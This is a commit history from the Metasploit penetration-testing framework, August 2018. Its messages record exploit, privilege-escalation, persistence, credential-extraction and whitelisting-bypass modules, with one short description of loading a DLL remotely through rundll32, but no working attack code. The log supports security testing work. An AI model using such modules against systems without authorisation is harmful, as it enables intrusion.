Land #10492 , show help when no argument is provided to show
2018-08-20 15:46:29 -05:00
Brent Cook
627fa786a5
Land #10493 , update help for show and search commands
2018-08-20 15:45:22 -05:00
Wei Chen
3d0d8f7773
Update false negatives on post auth information
2018-08-20 15:43:07 -05:00
James Barnett
3fadc64fb2
Don't set the workspace to default if it is already set
2018-08-20 14:35:06 -05:00
Auxilus
8869604143
update help for show and search
2018-08-21 00:17:57 +05:30
Auxilus
e8c0638092
Update modules.rb
2018-08-20 23:36:57 +05:30
Auxilus
0e594266e9
show help when no argument is provided to show
2018-08-20 23:32:34 +05:30
Auxilus
7c3810bbff
fix match error in ppc simple nop generator
...
before changes:
```
msf5 nop(ppc/simple) > generate 10
[-] Sled generation failed: undefined method `match' for true:TrueClass.
```
After changes
```
msf5 nop(ppc/simple) > generate 10
buf =
"\x7c\xf6\xc2\x15\x7c\xf6\xc2\x15"
```
2018-08-20 23:16:32 +05:30
Jeffrey Martin
280c3c9825
Land #10488 , msfdb - Improve usage help
2018-08-20 12:21:54 -05:00
bwatters-r7
6dbf93b9d2
Land #10476 , add automation test for smb_ms17_010 scanner module
...
Merge branch 'land-10476' into upstream-master
2018-08-20 11:51:52 -05:00
Matthew Kienow
cb96b628b3
Improve usage help
...
Style correction to prefer single-quoted strings
2018-08-20 11:43:12 -04:00
Dhiraj Mishra
107baee0a2
Updating store_loot?
2018-08-20 16:57:09 +05:30
Metasploit
0f068dfb62
automatic module_metadata_base.json update
2018-08-20 03:25:30 -07:00
Tim W
b8b48fd37a
Land #10313 , add linux autostart persistence module
2018-08-20 18:17:50 +08:00
Tim W
865898cba7
minor fixes
2018-08-20 17:51:41 +08:00
Dhiraj Mishra
a018d24df4
Fixing some more spaces at EOL
2018-08-20 12:56:59 +05:30
Dhiraj Mishra
71f8a66f8d
Spaces EOL
2018-08-20 12:45:15 +05:30
Dhiraj Mishra
0ae5a16c8e
Adding store_loot
2018-08-20 12:24:31 +05:30
Dhiraj Mishra
a926e0f7a6
Root privilege is required
2018-08-20 11:38:02 +05:30
Chirag Jariwala
b9809d9435
Added support for php5 as target
...
location of the session file in php5 is /var/lib/php5/sess_file
2018-08-20 03:47:04 +05:30
Dhiraj Mishra
3cebfe4e14
Documentation
2018-08-19 23:56:00 +05:30
Dhiraj Mishra
6684e5d0eb
PhpMyAdmin creds extractor
2018-08-19 23:40:19 +05:30
Brendan Coles
f09148d843
Add documentation
2018-08-19 08:20:41 +00:00
Brendan Coles
cd48e2fb8f
Add Network Manager VPNC Username Privilege Escalation module
2018-08-19 08:15:04 +00:00
Metasploit
219668caae
automatic module_metadata_base.json update
2018-08-19 00:38:45 -07:00
Tim W
ac71bc86ee
Land #10320 , add module for persistence in /etc/rc.local
2018-08-19 15:30:50 +08:00
Tim W
e38775b504
minor tweaks
2018-08-19 15:27:04 +08:00
Austin
5d6aaf60bb
300 : "THIS IS FAILED TRAVIS!"
2018-08-18 07:22:59 -04:00
Austin
06a5df3ad3
Travis the the PR: A love & hate story
2018-08-18 07:12:34 -04:00
Austin
7a26960b11
Oh holy travis, accept my tabs and spaces!
...
Fixes the damn tabs and spaces. im gonna be livid if this doesnt work
2018-08-18 06:46:38 -04:00
William Vu
75403d7e05
Add testing note about logging
2018-08-17 20:20:12 -05:00
William Vu
7287779555
Make false positive check optional
...
I couldn't repro this with pubkey-only auth. It also goes to the log.
2018-08-17 20:05:04 -05:00
William Vu
8e3af2dcfc
Add CVE-2018-15473 to ssh_enumusers
2018-08-17 18:48:44 -05:00
Jeffrey Martin
1e60a72028
add automation test for smb_ms17_010 scanner module
2018-08-17 16:31:06 -05:00
Adam Cammack
94dd67f3a5
Add public readers for prompt and prompt_char
...
This allows various things to inspect the state of the console before
calling `update_prompt`.
2018-08-17 14:41:48 -05:00
Adam Cammack
410eee8537
Remove 'append' mode from update_prompt
...
Nothing used it meaningfully. Also, due to the way `init_prompt` was set
prior to b1401e2e4e , it would have been
very broken: the prompt_char would have been included in the line twice
and prompt substitutions like %T would have been cached. Even more,
trying to append the empty string to the prompt (removed in that commit)
caused us to add a number of workarounds removed in
1df442e0cf .
2018-08-17 14:32:48 -05:00
bwatters-r7
ebdc1cf189
Land #10475 , Bump payloads to 1.3.43
...
Merge branch 'land-10475' into upstream-master
2018-08-17 14:27:32 -05:00
Adam Cammack
1df442e0cf
Centralize where msfconsole touches the prompt
2018-08-17 14:21:16 -05:00
Adam Cammack
b1401e2e4e
Update the prompt every shell tick
...
This was inadvertently done as part of the tab completion
initialization but is what we want. Also move the prompt formatting to
the prompt update and make the code more readable.
2018-08-17 14:10:28 -05:00
bwatters-r7
27e035acf4
Bump payloads to 1.3.43
2018-08-17 13:59:57 -05:00
Arpit Agrawal
a673ca1bc4
Update reverse_ord_tcp.md
2018-08-17 19:59:39 +05:30
agrawalarpit14
59d977edfa
Documentation on windows/shell/reverse_ord_tcp
...
Part of Issue #7142
2018-08-17 16:22:39 +05:30
Eliott Teissonniere
63a58d3378
Code style random name
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
eb43e4c0bd
Rework status printing
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
fc234b09c2
Fix HEREDOC not always supported
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
e82bde993f
Cleanup indentation
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
c1d929f5fb
Use an HEREDOC for multiline string
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
e4d6eb07ca
Remove useless statement
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
9962cbebfd
Support perl payload
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
a22acf3f3e
Document autostart module
2018-08-17 14:24:28 +08:00
Eliott Teissonniere
6b4870389d
Add autostart module
2018-08-17 14:24:28 +08:00
Jeffrey Martin
d6bce4410c
Land #10203 , Add command for persistent job handler when msf restart
2018-08-16 15:37:10 -05:00
William Vu
767ba126c6
Land #10472 , marked_redos module doc fixes
2018-08-16 15:16:04 -05:00
William Vu
c24ceb9483
Move and update marked_redos module doc
2018-08-16 15:12:36 -05:00
Metasploit
00a76e747e
automatic module_metadata_base.json update
2018-08-16 13:10:12 -07:00
William Vu
5096eee2ec
Land #10120 , npm "marked" ReDoS module
2018-08-16 15:01:12 -05:00
William Vu
3c1befdacb
Clean up module
2018-08-16 15:00:56 -05:00
William Vu
7e496ae067
Import target DefaultOptions into the datastore
2018-08-16 12:18:02 -05:00
Metasploit
cfe1b09afb
Weekly dependency update
2018-08-16 10:05:14 -07:00
William Vu
59f2bf9002
Land #10469 , bug fixes for shell's prompt_yesno
2018-08-16 10:51:54 -05:00
Adam Cammack
4375a3fbfb
Fix lurking bugs in the shell's prompt_yesno
2018-08-16 09:05:22 -05:00
Kevin Kirsche
809a15541c
Create documentation for PostgreSQL hash dumper
...
Documentation on auxiliary/scanner/postgres/postgres_hashdump
Part of issue #8296
Please see and following installation and exploitation steps using your machine. Please replace IP's where appropriate depending on if you are attacking your local machine or another machine on your network.
2018-08-16 08:39:39 -04:00
Kevin Kirsche
45cb0a9f6e
Create documentation for PostgreSQL version scanner
...
Documentation on auxiliary/scanner/postgres/postgres_version
Part of issue #8296
## Verification
Please see and following installation and exploitation steps using your machine. Please replace IP's where appropriate depending on if you are attacking your local machine or another machine on your network.
2018-08-16 08:02:42 -04:00
Metasploit
c3805f944a
automatic module_metadata_base.json update
2018-08-15 19:37:02 -07:00
William Vu
7a20d05fa6
Land #10456 , known_hosts fix for SSH modules
2018-08-15 21:28:08 -05:00
William Vu
60c0272270
Make style consistent
2018-08-15 21:27:40 -05:00
Green-m
1475f205d4
Update for style requirements.
2018-08-15 22:24:20 -04:00
Green-m
028799299c
Update for style requirements.
2018-08-15 22:23:04 -04:00
William Vu
101539a1bc
Land #10464 , prompt to use plain module name
2018-08-15 20:55:28 -05:00
Adam Cammack
c045f70e80
Emulate prompt_yesno semantics for UI drivers
2018-08-15 17:30:37 -05:00
James Barnett
becd42553a
Land #10462 , Add API documentation for users and auth endpoints
2018-08-15 17:10:26 -05:00
Kevin Kirsche
45e0b53fc8
Fix spacing issue with rocket
2018-08-15 14:59:52 -07:00
Kevin Kirsche
cd01f11fd2
Remove verifying host keys for all exploits
2018-08-15 14:54:41 -07:00
Erin Bleiweiss
4b42e7633c
Add examples for username and password properties
2018-08-15 16:34:11 -05:00
James Barnett
123aa34719
Land #10463 , create default workspace upon first web service startup
2018-08-15 16:33:18 -05:00
Adam Cammack
a4fb33d53a
Prompt to use module when given plain module name
2018-08-15 15:58:19 -05:00
Matthew Kienow
d5b9826f9e
Add default workspace via web service
2018-08-15 16:40:40 -04:00
Erin Bleiweiss
a70c5f0c37
Replace strings with reusable constants
2018-08-15 15:26:35 -05:00
Erin Bleiweiss
c19dc52573
Remove extraneous lines from a bad copy/paste
2018-08-15 15:03:27 -05:00
Metasploit
969ef7108b
automatic module_metadata_base.json update
2018-08-15 12:59:29 -07:00
Adam Cammack
79736406b2
Land #10394 , Cleanup aws_ec2_instance_metadata
2018-08-15 14:51:12 -05:00
Adam Cammack
77bbb517c6
Land #10446 , Add missing payload tests
...
Also adds consideration for IPv6 values needed for some payloads.
2018-08-15 14:46:33 -05:00
Adam Cammack
fe75a87cd5
Land #10459 , Fix PMA scanner vs. non-PMA hosts
2018-08-15 14:44:40 -05:00
James Barnett
f05844d8f4
Refactor options handling and help printing
2018-08-15 11:48:03 -05:00
Erin Bleiweiss
13326ea94b
Land #10451 , Add 'payload' to module search command help documentation
2018-08-15 11:20:13 -05:00
Kevin Kirsche
09434bd57c
Fix tabbing caused by incorrect VM nvim configuration
2018-08-15 07:00:45 -07:00
Kevin Kirsche
905f26372d
Remove host key checks on ssh scanner modules
2018-08-15 06:48:35 -07:00
AlbertoCoding
bb24c3114a
Minor code style fixes made
2018-08-15 04:49:17 +02:00
h00die
61dfd75663
Land #10457 docs for elasticsearch indices_enum
2018-08-14 20:55:15 -04:00
h00die
a620958b97
update elasticsearch doc format
2018-08-14 20:53:18 -04:00
h00die
74d12b41f3
Land #10454 updates to cgit exploit docs
2018-08-14 20:40:19 -04:00
h00die
44fd9c63e0
doc format update
2018-08-14 20:39:04 -04:00
James Barnett
1a4c04cae6
Merge branch 'master' into consolidate_db_connect_data_services
2018-08-14 15:20:56 -05:00
Erin Bleiweiss
2abc49641c
Add 401 responses for all endpoints
2018-08-14 13:35:59 -05:00
William Vu
cedcb04ce0
Land #10433 , pry and irb in developer dispatcher
2018-08-14 13:32:47 -05:00
Erin Bleiweiss
66b761db15
Add doc for user operations
2018-08-14 13:19:56 -05:00
AlbertoCoding
8e109b4f20
Some minor fixes
2018-08-14 19:25:20 +02:00
AlbertoCoding
e43798b148
minor fix
2018-08-14 19:21:43 +02:00
AlbertoCoding
9bf7bec870
Multiple functions to simulate native commands added
2018-08-14 19:14:15 +02:00
Erin Bleiweiss
f7a0b201d7
Add authorization support for auth/bearer tokens
2018-08-14 11:51:15 -05:00
AlbertoCoding
75ef8e8097
enum_commands.rb module added
2018-08-14 18:31:16 +02:00
AlbertoCoding
259b92a64b
iptables_removal.rb module added
2018-08-14 18:24:15 +02:00
bwatters-r7
81b62d88d9
Land #10442 , Bump payloads to 1.3.42
...
Merge branch 'land-10442' into upstream-master
2018-08-14 07:47:19 -05:00
Jacob Robles
a956f675ff
PMA Scanner Check Error Condition
2018-08-14 06:16:55 -05:00
Green-m
97b6425315
Make persist list go all in on the JSON format.
2018-08-14 06:39:56 -04:00
Green-m
2394e92c1c
Go all in with JSON format, rename var to get more readable.
2018-08-14 06:37:08 -04:00
Green-m
bdb663b078
Make persist list go all in on the JSON format.
2018-08-14 06:33:44 -04:00
Kevin Kirsche
2e75f46d34
Fix failing argument for password based spec test
2018-08-13 22:30:01 -04:00
Kevin Kirsche
3783347d73
Fix failing argument spec test
2018-08-13 22:20:23 -04:00
Kevin Kirsche
d273eb3914
Create elasticsearch indices_enum documentation
...
Documentation on auxiliary/scanner/elasticsearch/indices_enum
Part of issue #8296
2018-08-13 22:14:03 -04:00
Kevin Kirsche
4450d34fee
Remove SSH scanner using known_hosts
...
Fix #10266
This disables writing to the `known_hosts` file when performing auxiliary ssh scans.
2018-08-13 21:27:51 -04:00
Jacob Robles
ddebdea8c1
Update cgit doc
2018-08-13 16:45:13 -05:00
Metasploit
47a3fe64e7
automatic module_metadata_base.json update
2018-08-13 14:33:11 -07:00
Jacob Robles
85a137e0a0
Land #10420 , cgit < 1.2.1 Directory Traversal
2018-08-13 16:25:23 -05:00
Jacob Robles
5a3d040d71
Fix module, Add documentation
2018-08-13 15:48:21 -05:00
Metasploit
3813107f27
automatic module_metadata_base.json update
2018-08-13 09:30:25 -07:00
Shelby Pace
ce8cbd64d4
Land #10404 , Add Path Traversal Oracle GlassFish
2018-08-13 11:15:26 -05:00
Auxilus
b1041093f2
Add payload to cmd_search_help type
2018-08-13 11:55:56 +05:30
Wang Yihang
0bf699b716
[+] handler CTRL+Z Signal in shell session and remove debug print
2018-08-13 04:22:13 +08:00
Wang Yihang
fcd1527eec
[+] Add status print while resourcing scripts
2018-08-13 02:39:15 +08:00
Tim W
1ca6cb31d1
Land #10440 , fix apk injection on windows
2018-08-13 01:09:55 +08:00
Austin
1e2d3ad2f5
offer travis a sacrifice
2018-08-12 12:40:03 -04:00
Austin
b3f91394a1
Update ms16_075_reflection.rb
2018-08-12 07:13:04 -04:00
Austin
9bc21ba994
Update ms16_075_reflection.rb
2018-08-12 07:12:44 -04:00
Austin
75736415ad
Update ms16_075_reflection.rb
2018-08-12 07:12:24 -04:00
Wang Yihang
8b4a669c5b
[+] Disable debug print
2018-08-12 14:09:29 +08:00
Wang Yihang
67f6e83cbe
[+] Make the progress bar more precise
2018-08-12 14:08:32 +08:00
Wang Yihang
6a0a52e6fe
[+] Add conditions in help menu
2018-08-12 13:10:11 +08:00
Wang Yihang
89c875d3bb
[+] Implementation of upload meta command
2018-08-12 12:54:05 +08:00
Wang Yihang
f3d98b26d7
[+] Implementation of download meta command
2018-08-12 11:37:39 +08:00
Wang Yihang
fe6fda0072
[+] Implementation of download meta command
2018-08-12 11:19:30 +08:00
Josh Hale
f1fd077bef
Whitespace fix
2018-08-11 17:39:44 -05:00
Josh Hale
7b573fa3ca
Use multiple bash methods
2018-08-11 17:38:13 -05:00
Wang Yihang
6c33854ffc
[+] Exit vim opened in reverse shell via signal USR1
2018-08-12 06:07:18 +08:00
Wang Yihang
b6e2c34b11
[+] Fix can not abort reverse shell session
2018-08-12 05:40:40 +08:00
Wang Yihang
dc342a29b3
[+] Fix typo
2018-08-12 05:23:18 +08:00
Wang Yihang
7e4a666e1b
[+] Modify script arguments, change LOG_FILE to /dev/null
2018-08-12 04:54:08 +08:00
Wang Yihang
3fb814cef3
[+] Implementation of script and socat on poping up a interactive shell
2018-08-12 04:49:44 +08:00
Wang Yihang
b220c9b0ab
[+] Fix confliction on resource meta command branch and merge
2018-08-12 03:38:47 +08:00
Wang Yihang
e457eba2dd
[+] handler CTRL+C Signal in reverse shell sessions
2018-08-12 02:41:16 +08:00
Jeffrey Martin
2bea3fdb48
verify sizes for ipv6 when payload is ipv6
2018-08-11 10:31:31 -05:00
Quentin Kaiser
32bbc1c3a7
Fix fail_with.
2018-08-11 13:10:46 +02:00
Quentin Kaiser
647bcfb596
Add disclosure date.
2018-08-11 13:10:09 +02:00
Quentin Kaiser
44025a6b68
Missing disclosure date.
2018-08-11 13:08:18 +02:00
Quentin Kaiser
75f127d6e0
Add email addresses.
2018-08-11 12:41:04 +02:00
Quentin Kaiser
de59e1a07e
Add email addresses.
2018-08-11 12:39:59 +02:00
Quentin Kaiser
e36b027b1f
Typo fix + Garfield ref.
2018-08-10 22:47:18 +02:00
Quentin Kaiser
01f0a11777
Hashicorp Consul RCE via Services API (documentation).
2018-08-10 22:45:58 +02:00
Quentin Kaiser
559983de32
Hashicorp Consul RCE via Services API.
2018-08-10 22:45:42 +02:00
Quentin Kaiser
dce03a74c1
Credit where it is due :)
2018-08-10 22:35:54 +02:00
Quentin Kaiser
f2a0bf5364
Hashicorp Consul RCE via rexec API (documentation).
2018-08-10 21:36:09 +02:00
Quentin Kaiser
374e531d8a
Hashicorp Consul RCE via rexec API.
2018-08-10 21:35:28 +02:00
bwatters-r7
605d223ac8
Bump payloads to 1.3.42
2018-08-10 13:41:45 -05:00
Kevin Gonzalvo
41dd8a62cb
rename class name
...
rename for snake case
2018-08-10 17:27:19 +02:00
Kevin Gonzalvo
bb208118c3
Ruby decrypt
...
The decryption of the key in the msf has been added
2018-08-10 16:25:33 +02:00
Green-m
2529fdf322
Fix issue #8887 , when injecting into an existing .apk file on windows
2018-08-10 05:43:26 -04:00
Wei Chen
d9fc99ec4a
Correct false negative post_auth? status
2018-08-09 23:34:03 -05:00
Metasploit
943629b354
automatic module_metadata_base.json update
2018-08-09 12:59:30 -07:00
Wei Chen
c45d993644
Land #10436 , Add WebLogic exploit (CVE-2018-2628)
2018-08-09 14:52:37 -05:00
Wei Chen
9122c5945e
Add a comment explaining the last sleep(10)
2018-08-09 14:51:56 -05:00
James Cook
c5903dc767
Travis and Format fixes
...
Fixed some formating issues pointed out by @Green-m.
Changed disclosure date format for travis.
2018-08-09 10:29:34 -07:00
Metasploit
2c7ec03b39
Weekly dependency update
2018-08-09 10:05:23 -07:00
Jacob Robles
66e5685ed2
Moved to exploit/windows
2018-08-09 11:35:14 -05:00
Wang Yihang
6578950533
[-] Remove debug message
2018-08-09 16:32:27 +08:00
Wang Yihang
f6c28106b9
Merge remote-tracking branch 'upstream/master' into add-resource-meta-shell-command
2018-08-09 16:20:26 +08:00
h00die
a977121a61
include kernel to solaris.rb
2018-08-08 20:24:59 -04:00
h00die
c1635948ce
sync some linux local libraries to solaris
2018-08-08 20:08:23 -04:00
Jacob Robles
228bd4c3ab
Add weblogic_deserialize module CVE-2018-2628
2018-08-08 17:55:41 -05:00
James Barnett
c8dc5967d2
Remove data_services commands
...
db_connect is now the preferred method of connecting
2018-08-08 17:47:17 -05:00
James Barnett
d7dcdce7a8
Add more information when already connected to a db
2018-08-08 13:32:25 -05:00
James Barnett
cfe1ea86fb
Only allow one http connection at a time
2018-08-08 13:20:46 -05:00
William Vu
89a3a265d2
Move the built-in irb command while we're at it
2018-08-07 21:32:30 -05:00
William Vu
68a7761f68
Move built-in pry command to developer dispatcher
...
We also fall back on prying Framework if a module isn't active.
This fixes the following bad behavior:
msf5 > pry
[*] exec: pry
And then your input gets stolen.
2018-08-07 21:17:22 -05:00
James Barnett
201b91f9d7
Land #10410 , add script for setting up and managing data services
...
The msfdb script allows you to create, delete, start, and
stop local and remote data services. The database backend requires
PostgreSQL and the webservice provides a REST API to interact with it.
2018-08-07 18:25:51 -05:00
Matthew Kienow
75249d82d8
Improve web service status messages
2018-08-07 18:37:18 -04:00
William Vu
e00ed38393
Land #10430 , history clearing and bug fixes
2018-08-07 17:16:36 -05:00
William Vu
2bce8b008e
Fix history deduplication for system Readline
2018-08-07 16:53:24 -05:00
William Vu
298d5c3b30
Refactor history clearing
2018-08-07 16:53:17 -05:00
Wei Chen
6223685c37
Update auth requirement for json metadata
2018-08-07 16:42:00 -05:00
Matthew Kienow
d9eae8e113
Enhance init handling of existing database config
2018-08-07 17:37:01 -04:00
Matthew Kienow
9b93e0cfcd
Style correction to prefer single-quoted strings
2018-08-07 15:31:44 -04:00
Matthew Kienow
f7a4593392
Make web service init and start more robust
...
Remove PID check code since thin will stop and cleanup the PID under
certain circumstances after it has started and a PID file is written.
Reuse web service online check for this purpose.
2018-08-07 15:29:41 -04:00
William Vu
6eda1b2dfa
Revert deletion of history clearing
...
ef487f6be5
2018-08-07 14:06:52 -05:00
James Barnett
387d784ddc
Implement db_disconnect for remote data service
...
And a couple of fixes for db_connect for remote data services
2018-08-07 14:03:38 -05:00
James Cook
f2d2e0fce6
Add webdav delivery module
...
This module simplifies the rundll32.exe Application Whitelisting Bypass technique.
The module creates a webdav server that hosts a dll file. When the user types the provided rundll32
command on a system, rundll32 will load the dll remotly and execute the provided export function.
The export function needs to be valid, but the default meterpreter function can be anything.
The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
but does not load the dll from that location. This file should be removed after execution.
The extension can be anything you'd like, but you don't have to use one. Two files will be
written to disk. One named the requested name and one with a dll extension attached.
2018-08-07 11:56:54 -07:00
h00die
d299831efe
updated windows udf files and documentation
2018-08-07 14:50:47 -04:00
William Vu
ed1451d87a
Land #10424 , history deduplication on save
2018-08-07 11:26:23 -05:00
William Vu
3b2c3507d1
Refactor history deduplication on save
...
We move the check outside the block and clean up the syntax.
2018-08-07 11:18:13 -05:00
Green-m
3caa3057d8
Process persistent job when msf start.
2018-08-07 05:41:47 -04:00
Green-m
2dee2cf038
Update command job to support for persistent job when msf restart.
2018-08-07 05:40:35 -04:00
Green-m
91a9a24879
Update the dump_jobs for persistent job info.
2018-08-07 05:36:57 -04:00
Matthew Kienow
956bc2fa4f
Prompt user before deleting all DB data
2018-08-06 17:44:44 -04:00
Matthew Kienow
c6a976820f
Make web service init and start more robust
2018-08-06 16:26:36 -04:00
Matthew Kienow
0844a205f6
Correct predicate method names per style guide
2018-08-06 16:16:47 -04:00
Matthew Kienow
8a5d396fdc
Fix dependency issue
2018-08-06 14:27:16 -04:00
Kevin Gonzalvo
0e8180f263
delete space
...
delete bad spaces
2018-08-06 19:01:32 +02:00
Wei Chen
f7e49d3f7e
Able to successfully run a module
2018-08-06 11:46:19 -05:00
Kevin Gonzalvo
5e7a77dea8
add new functiom
...
added checking directory of VNC
2018-08-06 18:45:24 +02:00
Kevin Gonzalvo
d6a60bd10e
remove dependencies
...
removed not necessary dependencies
2018-08-06 17:20:25 +02:00
Kevin Gonzalvo
e194922855
Add vnc password osx
...
This module show Apple VNC Password from Mac OS X High Sierra.
2018-08-06 17:11:42 +02:00
Green-m
9cd3ad9895
Not finished module for spark unauth remote code execution.
2018-08-06 05:31:37 -04:00
Auxilus
cb01216e0c
fix history issues as stated in #10423
2018-08-06 11:27:47 +05:30
William Vu
b21d73a170
Land #10423 , history deduplication on add
...
Also removes history -u deduplication on print.
2018-08-05 14:29:20 -05:00
William Vu
f6d9cde7c4
Revert history -u deduplication on print
2018-08-05 14:28:15 -05:00
William Vu
a0962855bd
Refactor history deduplication
...
We don't need to know the absolute index. We also fix the IndexError.
2018-08-05 14:28:10 -05:00
Dhiraj Mishra
14b12f38d0
Fixing
2018-08-05 23:26:18 +05:30
Auxilus
fce19cf5b8
Prevent adding the same command to history
2018-08-05 22:33:00 +05:30
Dhiraj Mishra
9502c26dc1
Updated
2018-08-05 19:14:12 +05:30
Matthew Kienow
e1e9d6e9ca
Land #10422 , conditionally require in msfdb_ws
...
Dependency loading requirements for msfdb_ws were causing a long wait
time for the help option.
2018-08-05 09:15:47 -04:00
William Vu
57d89aa077
Make msfdb_ws help fast like msfvenom's
2018-08-04 17:56:23 -05:00
Rob Fuller
329f58ac21
Land #10421 , Let use have help too!
2018-08-04 13:52:20 -07:00
William Vu
ef6be1980f
Fix use -h to call cmd_use_help
...
It really shouldn't try to load it as a module.
2018-08-04 15:34:26 -05:00
Dhiraj Mishra
8a175f50cd
Indentation
2018-08-05 00:15:04 +05:30
Dhiraj Mishra
ebcc9a3c20
Fixing Indentation
2018-08-04 19:16:12 +05:30
Dhiraj Mishra
22e3238dbc
Updating Docs
2018-08-04 19:10:08 +05:30
Dhiraj Mishra
502c103d37
cgit < 1.2.1 Directory Traversal
2018-08-04 18:52:24 +05:30
Metasploit
95317618d4
automatic module_metadata_base.json update
2018-08-04 05:53:24 -07:00
Brent Cook
78f66986e9
Land #10386 , Add IEC104 client module
2018-08-04 07:43:15 -05:00
Metasploit
70a45351d7
automatic module_metadata_base.json update
2018-08-04 05:41:15 -07:00
Brent Cook
ae48ba635a
Land #10417 , Update check method of Hadoop exploit
2018-08-04 07:28:45 -05:00
Brent Cook
79824d959a
Land #10419 , Party like it's 2016
2018-08-04 07:25:25 -05:00
Brent Cook
919da41aab
Land #9692 , Add DoS module for Siemens Siprotec 4
2018-08-04 07:20:57 -05:00
Dhiraj Mishra
c6eb4994c1
Updating docs
2018-08-04 13:27:27 +05:30
Dhiraj Mishra
458fca6ff0
Fixing
...
Thanks bcoles
2018-08-04 13:15:25 +05:30
Metasploit
451db92ed1
automatic module_metadata_base.json update
2018-08-03 22:38:04 -07:00
Brendan Coles
1c82592882
Land #10358 , Add Dicoogle PACS Directory Traversal scanner module
2018-08-04 05:31:16 +00:00
h00die
e5dcfa62c9
remove encoding and escaping
2018-08-03 20:23:33 -04:00
Matthew Kienow
b4085e6a5f
Add required env to fix unexpected behavior
2018-08-03 18:43:50 -04:00
James Barnett
df607ddd16
Enable connecting to remote data services with db_connect
2018-08-03 13:38:02 -05:00
Michael John
dc2f893b31
Amended code formating
...
This commit incorporates suggested formatting changes based on feedback and rubocop tool run:
Corrected indentation issues
Using "<<" instead of "+=" for string append
Modified if/else branches as per tool suggestion
2018-08-03 20:13:48 +02:00
Wei Chen
37f70343e3
Get payload options to work (show, set, etc)
2018-08-03 11:47:43 -05:00
Matthew Kienow
70b29824bc
Output web service information to help user
2018-08-03 12:30:03 -04:00
Brendan Coles
bc9fcf40d4
2016
2018-08-03 07:07:21 +00:00
Mumbai
4a88d643ba
adding reflective Potato
2018-08-03 02:09:24 -04:00
Green-m
d2c53e1c88
Update the check method.
2018-08-03 01:39:37 -04:00
Matthew Kienow
be2ad2b947
Rework client authentication configuration file
...
Restore the md5 auth-method for the postgres DB, msftest user. Use the
default client authentication config to create roles and databases
before writing our own config.
2018-08-03 00:29:47 -04:00
Metasploit
22b9b2883a
automatic module_metadata_base.json update
2018-08-02 14:56:32 -07:00
Wei Chen
0785d59146
Land #10412 , Add Cisco directory traversal auxiliary module
2018-08-02 16:44:59 -05:00
Wei Chen
f176dd03b5
Add a new module type to support evasion (WIP)
2018-08-02 11:54:38 -05:00
Matthew Kienow
fbc9d3ee83
Add print methods from HttpDBManagerService
2018-08-02 12:38:52 -04:00
reka193
d60aa55e07
Modified regex
...
Based on the comment: https://github.com/rapid7/metasploit-framework/pull/10394#discussion_r207042496
2018-08-02 15:55:24 +02:00
Metasploit
868cd507a9
automatic module_metadata_base.json update
2018-08-02 03:04:36 -07:00
Tim W
8785ec21b6
Land #9884 , add linux ufo priv esc module
2018-08-02 17:53:36 +08:00
Tim W
ff418afd1a
add a default payload
2018-08-02 17:48:44 +08:00
Tim W
cbe85acef5
fix bad link in bpf priv esc
2018-08-02 17:28:22 +08:00
Tim W
1c810249b1
ufo privesc is x64 only
2018-08-02 17:24:44 +08:00
Matthew Kienow
ca1359bda3
Reword prompt from original script
2018-08-01 17:44:45 -04:00
Matthew Kienow
2c2af114c4
Fix database name typo in privs for development
...
Also updates authentication method to trust, but verify. Change made
to original script in parallel see rapid7/metasploit-omnibus/#73.
2018-08-01 17:42:03 -04:00
Metasploit
0cbfd483ae
automatic module_metadata_base.json update
2018-08-01 13:00:05 -07:00
Adam Cammack
41fdb75502
Land #10405 , Cleanup dropped files for CMSMS
2018-08-01 14:44:33 -05:00
Adam Cammack
54abc65c55
Land #10406 , Fix notes service, port, protocol
2018-08-01 14:39:34 -05:00
bwatters-r7
ed02b02002
Land #10413 , Bump rex-powershell to 1.7.9
...
Merge branch 'land-10413' into upstream-master
2018-08-01 14:04:58 -05:00
bwatters-r7
1ed47985d9
Bump rex-powershell to 1.7.9
2018-08-01 13:34:44 -05:00
Shelby Pace
10d4061672
changed default port
2018-08-01 13:30:19 -05:00
Shelby Pace
bbe6206026
documentation for cisco dir traversal module
2018-08-01 13:04:09 -05:00
Shelby Pace
de83926e6c
separated list_users into two functions
2018-08-01 12:59:53 -05:00
Brent Cook
1601e8a844
Land #10330 , Add SMBv2 support to bind_named_pipe payloads
2018-08-01 12:58:44 -05:00
Metasploit
b2a9ddc1cd
automatic module_metadata_base.json update
2018-08-01 10:58:04 -07:00
Brent Cook
cbe1d7b7bd
Land #10409 , Add Meterpreter target for axis_srv_parhand_rce
2018-08-01 12:47:25 -05:00
Brent Cook
698b403ff9
Land #10411 , Fix rspec due to missing __attribute__
2018-08-01 12:46:07 -05:00
Wei Chen
76a7a8688a
Fix rspec due to missing __attribute__
2018-08-01 10:45:33 -05:00
Shelby Pace
0264eb2ea3
cleaned up module
2018-08-01 09:51:45 -05:00
Matthew Kienow
f458031798
Add enhanced msfdb with web service support
...
Derived from the msfdb script in the metasploit-omnibus repo.
2018-08-01 02:29:39 -04:00
William Vu
4eef9e64ea
Implement dropper target in axis_srv_parhand_rce
2018-07-31 21:43:29 -05:00
James Barnett
888dc43a7e
Land #10348 , Add REST API for module queries
...
This PR also updates the local module queries with more query parameters
and logic.
2018-07-31 16:06:31 -05:00
Shelby Pace
021264fd5a
listing files and grabbing logged in user names
2018-07-31 16:03:17 -05:00
Matthew Kienow
5308c5eca5
Land #10377 , update REST API JSON format
2018-07-31 16:59:05 -04:00
Erin Bleiweiss
58b3f63c1a
Update to reflect new JSON models
2018-07-31 15:57:26 -05:00
James Barnett
458fb36ec8
Update API docs for GET resource/ID
2018-07-31 15:43:57 -05:00
Erin Bleiweiss
3e8efea57a
Merge branch 'conform_to_api_standards' into exploit-query
...
Prepare for new JSON format.
2018-07-31 14:48:37 -05:00
James Barnett
eb240892fc
Fix but with origin display in console
...
Also prevent adding workspace to opts when id is present
2018-07-31 14:03:53 -05:00
Erin Bleiweiss
9d1a2e20ee
Add better error handling.
2018-07-31 13:25:49 -05:00
Erin Bleiweiss
1d3761c9d6
Add support for 'check' metadata value
2018-07-31 12:18:09 -05:00
William Vu
090624fe17
Correctly set proto and sname in joomla_pages
2018-07-31 11:51:34 -05:00
William Vu
2bca1ade05
